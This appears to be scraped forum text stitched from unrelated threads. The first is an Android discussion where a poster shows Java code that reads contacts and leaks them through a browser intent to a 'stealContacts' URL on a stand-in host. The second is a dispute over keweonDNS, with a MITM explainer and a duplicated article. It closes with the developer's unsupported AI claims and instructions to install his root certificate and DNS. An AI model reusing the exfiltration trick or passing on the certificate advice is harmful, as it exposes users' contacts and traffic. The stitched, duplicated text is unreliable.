Hi all,
I have a question to share with you about the Intent mechanism and I hope to start an interesting discussion.
As you (may) know through the use of "Intent" an app can send data to another app of an operation to be performed. For example, from my app I can send an Intent to the browser app in order to open a specific url. But the Intent mechanism seems (correct me if I am wrong) to not apply any security mechanism. Suppose I want to steal the contacts from a device and send them to a web server, if I want to perform these two operations I need the following permissions:
Code:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>
the former to read the contacts and the latter to send the data to the web server, but this is not true. In fact, I developed a simple app (named myApp) with the following permission:
Code:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
Basically myApp reads the contacts (it holds the permission) and builds a string like the following:
Code:
String request = "http://ww.example.com/stealContacts?"
request += nameContact1=number1&nameContact2=number2&...
Finally, I put the request in the intent (see below), this means that I want to perform a "get request" to the web app http://ww.example.com/stealContacts and send as parameters all the contacts with the phone number.
Code:
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(request));
startActivity(i);
In order to test this, I developed a web app that when triggered save all the parameters in the request and show an advertising page.
From my point of view this is very strange, because I can steal the contacts easily.
what do you think? is it a security breach?
You have the permission to read contacts and use the internet. You read the contacts and uploaded them to the internet. I don't see any exploit here, besides unethical behavior.
Hi iBotPeaches, thank you to join the discussion.
I don't give to myApp the permission to use internet, I only give it the READ_CONTACTS, but through the Intent I can send the contacts to internet. I cannot directly open an HTTP connection in myApp.
Yes, this is a fairly well "known" attack - you can use the web browser intent to "leak" information via GET variables.
I am not certain it's a "breach" in the true sense, since Android seems to be an over-trusting platform. I suggest taking a look at XPrivacy on XDA, since its "view" permission for websites will prevent this attack from working unless the user chooses to trust the app (by default it doesn't trust anything).
This is not a security-break. You can only use this permissions you gave. Ist almost impossible gaining permissions without declearing them.. There is a GPS Exploit around which enables GPS without permissions and user confirmation but i think ist fixed in android 3.0+
I second the XPrivacy recommendation and would add OpenPDroid. Both allow you to prevent apps from launching URLs in native Android Browser. XPrivacy allows you to choose which of your accounts and which of your contacts (if any) to allow apps to access.
@simone.mutti - you may be the perfect candidate for this given your interest and ability to develop Android apps:
What the community really needs is a "proof of concept" app that requests all permissions necessary to display all identifying data available/entrusted to Android core services. The app would request the absolute minimum permissions needed to access every bit of data "protected" (aka denied) or "obscured" (aka falsified) by things like XPrivacy and OpenPDroid.
The propose of the app would be twofold:
1) allow users to verify the effectiveness of privacy apps. Currently, XPrivacy's developer recommends NetInfo 2 for the purposes of verifying the efficacy of his app's different privacy features. But the picture is incomplete as NI2 wasn't developed for this purpose.
2) demonstrate the ease with which users can unwittingly supply an app with an inordinate amount of identifying data with the tap of the "install" button. This would serve a similar benefit as pen testing tools by highlighting to non-developers (aka lay people) the various pitfalls of current Android framework. The most excellent, poignant finishing touch would be to allow it to read all intents/permissions of installed Android apps and present the various data each app is allowed to access + the various methods through which it could "legitimately" send that data to some undeclared outside server with/without encryption. Not the easiest task but certainly transformative in terms of clue-ing casual users into the true cost of their "free"and paid apps.
Check out the latest flavor of Angry Birds for a poster-perfect example of data sucking apps at their worst.
Firstly some little rant about keweon which is the most hypocrite security service I've ever seen:
[
The mentioned bet was with me. PM for details or public if you make me care enough.
>Copypasting all the elaborate posts from the Telegram sphere as I cant bother to spend much time on it.
I mostly agree with whats written there.
Seriously I dont care about Thorsten (MrT69) personally or in any other way.
I am actually quite sick of this topic. Even mad that I have to deal with basic **** like that. These people managed to trigger a hermit into logging on to tracking heavy XDA.
Why I do this? It needs to be done.
I could have never imagined that such a blatant scam could gain enough traction that it regularly annoys me.
]
<<< A little bit of ranting about keweon >>>
"
Evidence and proof of concept that keweon Online Security is not as secure as claimed by its developer.
After a group of independent IT and cyber security specialists proved that keweon is not as secure as claimed by the developer, they confronted the developer with the results and reminded him of a bet. All keweon support groups on TG then were deleted by the developer personally and without further explanation on the morning of February 4, 2019.
We all know by now that the way keweon DNS works is based on users using keweon's DNS and the keweon root certificate.
What has now been proven is exactly what keweon could do with its users, but Torsten vehemently denies and claims "that's impossible" and "that doesn't work":
1. get users to use your DNS server.
2. get users to use your root certificate.
3. redirecting a page, e.g. mybank.com, to one of the keweon servers (by changing the DNS record)
4. issue your own SSL certificate for the website, users have installed your Root-CA and so this is not a "witch work"
5. read username/password from the connection (if 2FA is used, just wait until the user logs in and use the token again quickly as it is valid for 30 seconds).
We now have proof that this is possible without a doubt. In fact, this is a classic MITM attack, and anyone who denies that it is possible either has no idea (you shouldn't assume this from Torsten) or is trying to hide something from his users.
The developer of keweon has repeatedly asserted and insisted that a root certificate cannot intercept connections or collect data.
Quote from the keweon developer with his PayPal bet:
"Prove that to me. Give me any DNS and a root certificate and try to get my PayPal data.
I'll then even contact you when I sign up for PayPal. If you manage to get my PayPal data this way, you can log in and transfer 500 Euro to your account. I have made this offer very often and this is a serious offer from my side."
Unfortunately the developer of keweon didn't contribute his part to the test as he promised so often and of course he didn't log into Paypal via our provided DNS and root certificate.
The only reaction on his part was, apart from some insults, the deletion of all keweon groups on TG.
The security test of the keweon servers also revealed that under certain conditions connections are even redirected to keweon's own termination server and answered with 1x1 pixel gifs.
The fact is that the requests contain tracking IDs that can be easily managed from these servers.
So even Torsten's statement that the keweon SSL server only terminates requests with empty (0 byte) responses is wrong.
This again contradicts Torsten's own statement.
The point now is that the developer of keweon Online Security is actively trying to deny that it is possible for him to abuse the root certificate, although it has now been proven that it is actually possible for him to do exactly that with the keweon root certificate and its users.
Until the developer decides to disprove the accusations made against keweon Online Security or can prove that the accusations against him are unfounded, it is advisable for obvious reasons of security not to use keweon Online Security for the time being.
Anyone who is interested in repeating this test can do so at:
http://https-interception.info.tm/, where you will find a DNS and a root certificate, same as with keweon Online Security.
Furthermore there is a real-time log about recorded connections.
Everything else can be found there.
Please be careful not to use your correct email address or password for this test!
#keweon #test #bet #evidence #ProofOfConcept
"
<<< /rant >>>
<<< Explanation of some DNS and TLS/HTTPS basics for noobs >>>
DNS And Root Certificates - What You Need To Know
e8aebe8eb8b24035ae75260ca0ea80a7 / 20190205
Due to recent events we felt compelled to write an impromptu article on this matter. It's intended for all audiences so it will be kept simple - technical details may be posted later.
1. What Is DNS And Why Does It Concern You?
DNS stands for Domain Name System and you encounter it daily. Whenever your web browser or any other application connects to the internet it will most likely do so using a domain. A domain is simply the address you type: i.e. duckduckgo.com. Your computer needs to know where this leads to and will ask a DNS resolver for help. It will return an IP like 176.34.155.23; the public network address you need to know to connect. This process is called a DNS lookup.
There are certain implications for both your privacy and your security as well as your liberty:
- Privacy
Since you ask the resolver for an IP for a domain name, it knows exactly which sites you're visiting and, thanks to the "Internet Of Things", often abbreviated as IoT, even which appliances you use at home.
- Security
You're trusting the resolver that the IP it returns is correct. There are certain checks to ensure it is so, under normal circumstances, that is not a common source of issues. These can be undermined though and that's why this article is important. If the IP is not correct, you can be fooled into connecting to malicious 3rd parties - even without ever noticing any difference. In this case, your privacy is in much greater danger because, not only are the sites you visit tracked, but the contents as well. 3rd parties can see exactly what you're looking at, collect personal information you enter (such as password), and a lot more. Your whole identity can be taken over with ease.
- Liberty
Censorship is commonly enforced via DNS. It's not the most effective way to do so but it is extremely widespread. Even in western countries, it's routinely used by corporations and governments. They use the same methods as potential attackers; they will not return the correct IP when you ask. They could act as if the domain doesn't exist or direct you elsewhere entirely.
2. Ways DNS lookups can happen
2.1 3rd Party DNS Resolvers Hosted By Your ISP
Most people are using 3rd party resolvers hosted by their internet service provider. When you connect your modem, they will automatically be fetched and you might never bother with it at all.
2.2 3rd Party DNS Resolver Of Your Choice
If you already knew what DNS means then you might have decided to use another DNS resolver of your choice. This might improve the situation since it makes it harder for your ISP to track you and you can avoid some forms of censorship. Both are still possible though, but the methods required are not as widely used.
2.3 Your Own (local) DNS Resolver
You can run your own and avoid some of the possible perils of using others'. If you're interested in more information drop us a line.
3. Root Certificates
3.1 What Is A Root Certificate?
Whenever you visit a website starting with https, you communicate with it using a certificate it sends. It enables your browser to encrypt the communication and ensures that nobody listening in can snoop. That's why everybody has been told to look out for the https (rather than http) when logging into websites. The certificate itself only verifies that it has been generated for a certain domain. There's more though:
That's where the root certificate comes in. Think of it as the next higher level that makes sure the levels below are correct. It verifies that the certificate sent to you has been authorized by a certificate authority. This authority ensures that the person creating the certificate is actually the real operator.
This is also referred to as the chain of trust. Your operating system includes a set of these root certificates by default so that the chain of trust can be guaranteed.
3.2 Abuse
We now know that:
- DNS resolvers send you an IP address when you send a domain name
- Certificates allow encrypting your communication and verify they have been generated for the domain you visit
- Root certificates verify that the certificate is legitimate and has been created by the real site operator
How can it be abused?
- A malicious DNS resolver can send you a wrong IP for the purpose of censorship as said before. They can also send you to a completely different site.
- This site can send you a fake certificate.
- A malicious root certificate can "verify" this fake certificate.
This site will look absolutely fine to you; it has https in the URL and, if you click it, it will say verified. All just like you learned, right? No!
It now receives all the communication you intended to send to the original. This bypasses the checks created to avoid it. You won't receive error messages, your browser won't complain.
All your data is compromised!
4. Conclusion
4.1 Risks
- Using a malicious DNS resolver can always compromise your privacy but your security will be unharmed as long as you look out for the https.
- Using a malicious DNS resolver and a malicious root certificate, your privacy and security are fully compromised.
4.2 Actions To Take
Do not ever install a 3rd party root certificate! There are very few exceptions why you would want to do so and none of them are applicable to general end users.
Do not fall for clever marketing that ensures "ad blocking", "military grade security", or something similar. There are methods of using DNS resolvers on their own to enhance your privacy but installing a 3rd party root certificate never makes sense. You are opening yourself up to extreme abuse.
5. Seeing It Live
5.1 WARNING
A friendly sysadmin provided a live demo so you can see for yourself in realtime. This is real.
DO NOT ENTER PRIVATE DATA!
REMOVE THE CERT AND DNS AFTERWARDS
If you do not know how to, don't install it in the first place. While we trust our friend you still wouldn't want to have the root certificate of a random and unknown 3rd party installed.
5.2 Live Demo
Here is the link: http://keweonbet.info.tm/
- Set the provided DNS resolver
- Install the provided root certificate
- Visit https://paypal.com and enter random login data
- Your data will show up on the website
6. Further Information
If you are interested in more technical details, let us know. If there is enough interest, we might write an article but, for now, the important part is sharing the basics so you can make an informed decision and not fall for marketing and straight up fraud. Feel free to suggest other topics that are important to you.
For more information/feedback/corrections visit our chat linked in the pinned post. (Search ID 0728e516cf2446e7b25af7622c26d8d + 5 in case you hid it.)
All content is licensed under CC BY-NC-SA 4.0. (Attribution-NonCommercial-ShareAlike 4.0 International https://creativecommons.org/licenses/by-nc-sa/4.0/)
- DNS resolvers send you an IP address when you send a domain name
- Certificates allow encrypting your communication and verify they have been generated for the domain you visit
- Root certificates verify that the certificate is legitimate and has been created by the real site operator
How can it be abused?
- A malicious DNS resolver can send you a wrong IP for the purpose of censorship as said before. They can also send you to a completely different site.
- This site can send you a fake certificate.
- A malicious root certificate can "verify" this fake certificate.
This site will look absolutely fine to you; it has https in the URL and, if you click it, it will say verified. All just like you learned, right? No!
It now receives all the communication you intended to send to the original. This bypasses the checks created to avoid it. You won't receive error messages, your browser won't complain.
All your data is compromised!
4. Conclusion
4.1 Risks
- Using a malicious DNS resolver can always compromise your privacy but your security will be unharmed as long as you look out for the https.
- Using a malicious DNS resolver and a malicious root certificate, your privacy and security are fully compromised.
4.2 Actions To Take
Do not ever install a 3rd party root certificate! There are very few exceptions why you would want to do so and none of them are applicable to general end users.
Do not fall for clever marketing that ensures "ad blocking", "military grade security", or something similar. There are methods of using DNS resolvers on their own to enhance your privacy but installing a 3rd party root certificate never makes sense. You are opening yourself up to extreme abuse.
5. Seeing It Live
5.1 WARNING
A friendly sysadmin provided a live demo so you can see for yourself in realtime. This is real.
DO NOT ENTER PRIVATE DATA!
REMOVE THE CERT AND DNS AFTERWARDS
If you do not know how to, don't install it in the first place. While we trust our friend you still wouldn't want to have the root certificate of a random and unknown 3rd party installed.
5.2 Live Demo
Here is the link: http://https-interception.info.tm
- Set the provided DNS resolver
- Install the provided root certificate
- Visit https://paypal.com and enter random login data
- Your data will show up on the website
6. Further Information
If you are interested in more technical details, let us know. If there is enough interest, we might write an article but, for now, the important part is sharing the basics so you can make an informed decision and not fall for marketing and straight up fraud. Feel free to suggest other topics that are important to you.
For more information/feedback/corrections visit just PM the poster here.
He activated Mail forwarding.
All content is licensed under CC BY-NC-SA 4.0. (Attribution-NonCommercial-ShareAlike 4.0 International https://creativecommons.org/licenses/by-nc-sa/4.0/)
I appreciate you taking the time to write this up.
After reading this, im a bit scared because yesterday i installed both the dns and cert from keweon and since then i logged into bank accounts and several important sites (apps and browser).
Is this really that bad? Is keweon creator really capable of stealing users data just by using a custom dns and cert?
2 yrs later the same s**t again?
I'm honored about the fact that you try to fight against keweon. It seems you are someone from the advertising industries and this statement is almost the same as you have started the big ****storm against me 2 yrs ago.
Did you ever talk about the 46 Root Certificates within Windows which are responsible to share Ransomware, Malware, Spyware and other crap? No.
Did you ever talks about all the Apps which are using hidden root certificates to spy user data? No.
Did you ever talk about custom ROMS which contains hidden Root Certificates? No.
But you are still fighting against me? What will ever happens when I would shut down keweon?
keweonDNS is cleaning up the internet for various threats and of cause advertising. Because of blocking this it's causing HTTPS errors. To suppress this errors I have developed this Root Certificate. At the moment everything is still just for testing and when I launch the "real Infrastructure" there will be definitely a different Root Certificate.
You can use the DNS even without the certificate. Where is the problem? It's not a need or a must to use it but then Adblock detection is possible and a lot of other things. All addresses outside are working via HTTPS and the only reason for this certificate is to prevent HTTPS errors caused by Adblocking. I was asking you for a better Idea - no answer. Even various data protection agreed to me that this is a good Idea to protect against data collections.
I'm 100% sure you are someone from the advertising industries because until today you are only talking about common things that "might" happens or that "can" happens or "possibilities". In the meantime a lot of companies are using keweonDNS and there are some big Companies and this will definitely show that you have no idea about HTTPS and how it is working.
I repeat again. Using keweonDNS is cleaing up the internet within an incredible way. If you want to have everything faster or if you want to suppress the upcomming HTTPS errors cause by Adblocking YOU CAN USE the Certificate. It's not a MUST HAVE. But if you ever have a better Idea to fight against data collection and privacy violation without a certificate then any idea is welcome. That's the reason why it's still a TEST SYSTEM.
This certificate suppress all Adblock detections and data collections. Why you don't talk about this? Why you only talk about this is possible and that is possible? Why you don't write about the actual facts? Why you don't write about the things which are possible with the certificate?
In the meantime there are worldwide 32 million users who are using keweonDNS. Do you honestly think I didn't expect someone to try a ****storm against me or keweon? keweonDNS is a war declaration against Google, Facebook, Microsoft, Yahoo and the entire worldwide ads industry and you are talking about evil things what "might" happens? But hey, it's OK for me
I still offer to you - if you have a better idea let's do it together. I'm open for any idea or help. If you still want to fight against me then this shows me you support Google, data collection and privacy violation.
keweonDNS - info, facts and what is keweon actually
First, I would like to thank everyone who has used and thus supported keweonDNS, because without you this would not have been possible. The XDA Developers Forum and the Android-Hilfe Forum many thanks, as sometimes things aren't easy with me.
Everything I've developed over the last few years has to do with DNS, and this provides a little insight into what you can accomplish with DNS. Clearly, it functions, it performs – but maybe some of you have a piece of advice on what I can do differently or perhaps even better, after all, I'm up for everything.
With that said, here's the answer to what is keweon. In a nutshell – THIS is keweon:
keweon is an artificial bio-neural network capable of autonomously detecting online threats of various types, effectively blocking them and thwarting threats before they pose a threat.
Self-developed AI algorithms are used, for example, to perceive and forecast threats, as the application of stochastics (probability theory) has proven to be ineffective or too slow. These predictions currently reach up to 4 days, or 96 hours, into the future.
keweonDNS identifies and blocks Internet addresses prior to them being enrolled and live, regardless of whether the address is a domain, an alias, or a host. Detection is performed with a reliability of slightly over 80% with an error rate of approximately 20000:1.
Bio-neural AI technology safeguards against online threats without the necessity or requirement for SSL decryption of network traffic.
Click to expand...
Click to collapse
At this stage, I will not be able to outline all the details here in the forum. On the one hand it becomes too much and on the other hand “the giants” – you have cribbed enough from me so far – also read here. By now, the planned public documentation exceeds 100 pages, and I intend to accommodate and cover everything. So, before I post everything on the website, I'll first share it here on the forum with a limited group of contributors, as I'm interested in questions, feedback, and perhaps one or two remarks.
Why bio-neural network?
The most well-known neural network is the brain, whether in humans, animals, or plants, where information is perceived, classified, prioritized, and processed. As far as humans are concerned, the information is transmitted via sensors. In IT, this is called an “agent”, an unfortunate choice of words, in my opinion.
Sensors refer to basically anything that receives and transmits data. Nose, tongue, and eye are for instance sensors that transmit information to the brain and when processed in the brain, the neural network, triggers an action. Example: Fire (vision – sensor eye) + Smoke (smell – sensor nose) = Action (decision triggered by the neural network) is escape.
The goal of an AI is to artificially reproduce this “biological” behavior or sequence. The same applies in IT as in biology, a neural network must always be part of an AI. For me, there is no superior way than to apply this kind of approach to DNS.
How does keweon act as an “artificial neural network”?
What you see here is the so-called “frontend”. The one you know as the keweonDNS server:
Spoiler: keweonDNS - Frontend
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
There is nothing special here yet, nor does it have anything to do with “AI” or “ANN”. We will go into this in more detail shortly.
Let's talk about the “bio” factor. — To ensure that the keweon AI only does what it is designed to do, it was essential to set up not just one, but several control instances. Policing of the AI rests not only with the AI itself, but also with the user and with me. That is why I have used the term “Shared Manage & Controlling” to describe this process.
Internal control mechanisms within the AI guarantee that the system regulates, manages, and even polices itself. As an example, if the AI is manipulated by an external attack, a variety of defensive countermeasures are triggered, up to the most severe case, shutting down the infrastructure entirely. At this point, the DNS would remain operational, but at a slower pace and only with the default responses of the global root DNS servers.
By leveraging keweonDNS servers, each user, and their device, whether it's a cell phone, PC, or IoT device, automatically becomes part of the artificial neural network. To top it off – none of the user data is required to be collected for this, or even necessary at all. Through the query arises the control, and through the control arises the answer. In this way, sensory control and sensory data transmission occur simultaneously with the DNS query. Based on the term “crowdsourcing”, I have called this process “crowd request sourcing”.
User data collection at keweon?
At this point, I will only briefly outline the matter of data collection and processing, since that would completely go beyond the scope here.
No information is collected from users, devices, or other sensitive data within the scope of the GDPR; rather, the information processed relates solely to the DNS request. In other words, the address, FQDN, host or alias of the DNS request, namely only data that a DNS server possesses inherently, is used for this purpose. It doesn't matter who or what requested the address, only how often an address is queried becomes an additional assessment criterion for the AI. In part, this looks like this:
Spoiler: DNS Counter example
As a result, you can spot things, as seen here on the Apple iPhone, wherein strange DoH resolvers are doing DNS resolution in a hidden way. Apple's commitment to data security and privacy already belongs to the past. Especially, with the implementation of the advertising framework in the iOS operating system, the company is sawing at the branch it is sitting on, in my personal view.
At no time will keweonDNS collect or parse user data. The mistakes made by Jan Koum have taught me a lot. That's why I designed the entire development to make it technically impossible to ever do that. Data is processed only from the “root DNS server” to protect the user's privacy. In this way, “hidden (user) data collection” is prevented and ruled out, even if investors enter the project.
The fact that this is impossible turned out to be something I did not expect, indeed a knockout criterion for investors. Still, my point of view in this regard should be well known. Further details on data protection can be expected on the website in the section “AI & Data Protection”.
How does DNS work at keweon?
It functions not unlike any other DNS server.
Query from your device to DNS: What is the IP address of www.example.com?
DNS looks in the cache. If the response resides there, your device will get the IP address.
If the address is not in the cache, the subsequent (virtual) response occurs:
Wait, I don't know the address, but I do know a DNS server that might be aware of the answer.
Passing the query to the next DNS server (henceforth, it is no longer the IP address of the user who asks the query, instead it's the DNS server).
Passing the query to the root DNS server, which looks up the response. If the root DNS server does not know the response, it returns an NXDomain response, which means “Not existing domain“, or the matching IP address is returned.
The response passes through one or more validations and is then returned to your device as a response via the DNS resolvers.
DNS Mission accomplished.
The so-called “Visible Layer“, which are the DNS servers that you use, respond as DNS, are DNS and do DNS. All they provide is DNS over port 53 – and nothing else. No proxy, no other technology. 100% DNS. Well, companies that offer solutions for DNS-layer security – please keep reading, you may learn something. (#CISCO, #Cloudflare, #Microsoft, #Google, #Apple)
The AI, the so-called “AI Hidden Layer”, is the exciting part. In this context, the term “hidden layer” is used when referring to an AI because the AI itself is never directly addressed and is invisible to the user.
The “AI Hidden Layer” is a self-contained layer, or rather should be, to prevent manipulation or attacks. By far the best example of how an AI should not be built is Microsoft's “Bing AI”. It is reported that the staff there is already busy working on the implementation of AI-provided advertisements and sponsored responses. Effectively, this soon means that whoever pays more has the privilege to manipulate on a larger scale. Like Apple, this clearly shows that mistakes (from the past) are obviously ignored instead of drawing lessons therefrom.
AI and ANN – an architectural overview
The DNS server, the “hidden layer” that enables the entire technology, is shown in the figure:
Spoiler: keweonDNS - an architectural overview
I tried to keep it simple, and I hope it turned out well. If you have any questions – please let me know.
Hidden Layer – how does keweon act as an “artificial bio-neural network”?
We take the address “www.i-net.nx” as an example and assume that this is requested for the first time. The address in question is a “good address” invoking a “bad address” in the background – i.e., “bad.i‑net.nx” via a JavaScript, and so remains invisible to the user. Even though the TLD “.nx” does not exist obviously, we assume that it does.
The query originates from a cell phone and is transmitted to the keweonDNS servers.
Assume that here a fictitious counter starts with 0ms (0 milliseconds).
The DNS server doesn't know the address and passes on this request.
So far, ordinary DNS – now we let the magic begin!
Prior to forwarding, two databases are queried to see if this address is known in the “Allow or Deny” database. Of course not, we assumed a totally unknown and completely unfamiliar address.
The query i-net.nx is now forwarded by the ANN (Artificial Neural Network) to the root DNS servers, which in turn query the global root DNS servers. Within the ANN, this address is “copied” and passes through some checks in parallel, regardless of what is returned as a response.
The query is passed to the keweon root servers, which in turn passes it to the AI and analyzes it via the Pre.Ident process, which works with data such as “Newly Registered Domains”.
Note: “DNS firewalls”, for example, have a feature that blocks all newly registered DNS domains. Basically, pointless, and wrongly implemented – yet companies spend a lot of money on this feature and fill meaningless colorful dashboards with it. All that matters though is that they are colorful and have KPIs – no one questions whether this makes sense.
The security benefit on a scale of 1 to 10 is -10, since this represents a security risk on one side and pretends a “misleading security” on the other side. “Newly Registered Domains” are verified at keweonDNS via the Pre.Ident process and are not blocked across the board.
Spoiler: DNS Pre.Ident process – an overview
The Pre.Ident process performs the initial analysis of the query and is responsible for detecting threats that are emerging or may arise. As mentioned at the beginning, this can also be done with probability theory, for example, but this has proven to be too inefficient and too slow. The current predictions for “bad domains” extend up to 96 hours (4 days) into the future. This is calculated using the HFRA algorithm (High Frequency Research Algorithm), among others.
All AI processes and algorithms, such as Pre.Ident and the HFRA, are completely independent of each other, but support each other or collude.
The idea for the HFRA algorithm initially originated from a good friend, who sadly passed away from a brain tumor in 2017. Harlim was the lead developer for high frequency trading at a large German bank, and he contributed a lot despite his illness. High frequency trading ends with buy or don't buy, or to stay with DNS, block or don't block.
After the Pre.Ident process, the domain is decomposed into FQDN, IP, and Alias and inspected i.e., using the certificate instance. The big secret with the certificates is hence, on the one hand, to assign a positive certificate to all blocked addresses and, on the other hand, to be able to check and classify the DNS data on the fly. This procedure eliminates the need to resort to further DNS data and ensures the (self-)control of the AI.
Meanwhile, the ANN has (pre)analyzed the address and the PAA (Perimeter Analytics Algorithm) checks whether the server contains, i.e., malware or ransomware or whether this server shows other critical or endangering indications.
Whether and how a server, address, or IP is “malicious” is weighed by the various logics. The current criteria catalog includes a total of 1394 so-called matching points, how an address is to be evaluated if it is known, and up to 83 matching points for unknown addresses (floating run), whereby various factors also play a role.
Using fuzzy logic within the AI and with the help of the ANN, not only is it decided whether an address is “good” or “bad”, but also the result “I'm not quite sure” can be generated. This in turn causes a weighting and the ANN decides here “Allow or Deny” – based on further algorithms.
This decision that it is probably a good address is passed to a “returning logic“, evaluated as good, and thus the original IP address is returned to the user. It looks roughly as follows (in excerpts):
Spoiler: DNS Rating example
Let's stop the fictitious counter here (which we started at the beginning) and now, about 20ms (milliseconds) later, the user gets the response.
The returning cycle decides here when and if this address must be examined again, in which level of detail and possibly via a second, third etc. analysis of the address in the background. Different criteria are used depending on the weighting. Some addresses are checked every hour, others every week.
The web page is loaded and, as noted, it contains a JavaScript with the bad address. Since this address has at no time been requested, it is blocked from point 5, at the latest from point 6. The user gets this address returned, but with an IP address that states this address was successfully resolved and passes a virtual “OK” to the browser or JavaScript to make it believe that the address was properly resolved and does not need to be requested again.
If the address has now been resolved, the AI's work continues anyway. The address is reviewed again for a more detailed assessment of the threat posed by the address, as well as its rating. For this purpose, the address gets analyzed in detail in the background using the crowd request sourcing method and the HFRA algorithm. This time the entire program, because now it compares, for example, where the server is located, what the IP address does, what the server does, along with other options, and the results are again compared with other and similar addresses.
For one or two addresses this still sounds logical, but if we now take 20 or 30 addresses, it becomes more complex. The database currently consists of about 960 million addresses.
Summary
This is just a small part of what keweon is all about. Obviously, there is much more, but for now I'm curious to see who copies all this and uses it for their marketing. Admittedly, who knows me a little, understands that this is far from being everything.
The thing I'd like to know from you now:
What do you think about it? How do you rate it? What information do you miss here?
Comments, hints, tips, and questions are welcome and appreciated.
Frequently Asked Questions (FAQs)
As an additional service to help users find certain information quickly, I will compile answers to some frequently asked questions about keweon here and continue to update this post.
Spoiler: keweonDNS Server Addresses and IP's – PRIVATE USAGE ONLY
Certificate:
https://pki.keweon.center
Apple DoH Profile:
https://apple.keweon.center/DOH/dns.mobileconfig
Apple DoT Profile:
https://apple.keweon.center/DOT/dns.mobileconfig
DoH Server Address:
https://dns.keweon.center/nebulo
or
https://dns.keweon.center/dns-query
DoT Server Address:
dns.keweon.center
DNS IPv4:
84.16.252.137
84.16.252.147
DNS IPv6:
2a00:c98:4002:1:8::5
2a00:c98:4002:2:c::80
Spoiler: Find the Post in your Preferred Language
German – Android-Hilfe Forum
Spoiler: The “GOOD OLD” Thread
keweonDNS - now with improved Certificate (iOS, Mac & Android)
Spoiler: PersonalDNSFilter with keweonDNS – PRIVATE USAGE ONLY
Initially, disable any active “Private DNS” in the Android connection settings.
Certificate:
https://pki.keweon.center
In the PersonalDNSFilter app itself:
Open the list of registered DNS servers.
Check the box next to “Disable DNS server discovery - Manual DNS servers as follows:” and activate the slider next to “Text based editing mode” in the section.
Add the following addresses to the displayed list using Copy&Paste:
DoH Server Address:
[178.162.228.115]::443::DOH::https://dns.keweon.center/nebulo
or
[178.162.231.49]::443::DOH::https://dns.keweon.center/dns-query
DoT Server Address:
[84.16.252.138]::853::DOT::pdnsfilter.keweon.center
or
[84.16.252.138]::853::DOT::personaldnsfilter.keweon.center
Next, uncheck the slider next to “Text based editing mode”.
Finally, check the boxes next to the added DNS servers and uncheck all others.
Spoiler: NetGuard with keweonDNS – PRIVATE USAGE ONLY
Initially, disable any active “Private DNS” in the Android connection settings.
Certificate:
https://pki.keweon.center
In the NetGuard app itself:
Located under “Settings” is the interesting “Advanced Options” feature.
Then enter either both IPv4 or IPv6 addresses for “VPN-DNS”:
DNS IPv4:
84.16.252.137
84.16.252.147
DNS IPv6:
2a00:c98:4002:1:8::5
2a00:c98:4002:2:c::80
Note: In order for the IPv6 addresses of the DNS servers to be accessible from your home network, it must be IPv6-capable.
Spoiler: AdGuard with keweonDNS – PRIVATE USAGE ONLY
Initially, disable any active “Private DNS” in the Android connection settings.
Certificate:
https://pki.keweon.center
In the AdGuard app itself:
Tap the “shield icon” at the bottom of the screen and activate the slider in the “DNS Protection” section.
On the same screen, tap the “DNS Protection” label to access the DNS settings.
Located under “Choose DNS Server” is the interesting “Add Custom DNS Server” feature.
Type in “keweonDNS” as the “DNS server name”.
Then enter either DoH or DoT for “DNS Upstream”:
DoH Server Address:
https://dns.keweon.center/nebulo
or
https://dns.keweon.center/dns-query
DoT Server Address:
tls://dns.keweon.center
@MrT69 Greetings. Please check your PM inbox. Thank you.
-Regards: Badger50
another "dns" dev here
This sounds exciting and novel. All the best!
@MrT69 great to se the DNS still going on. I hope you still remember older people
So, how do i set this up on Android using the Adguard app?
Blackeyedangel said:
So, how do i set this up on Android using the Adguard app?
Click to expand...
Click to collapse
Take a look at post #2.
There you can see the spoiler for “keweonDNS server addresses and IP's – PRIVATE USAGE ONLY”.
There you will find all the addresses you need. I don't know the AdGuard app, but I'm pretty sure you know what to use when you see the addresses.
Or just use the Android internal option “Private DNS” and set the “DoT Server” there.
methuselah said:
@MrT69 great to se the DNS still going on. I hope you still remember older people
Click to expand...
Click to collapse
Of cause It's years ago but some people I still remember.
:::UPDATE::: The configurations of AdGuard and NetGuard are added in the FAQ.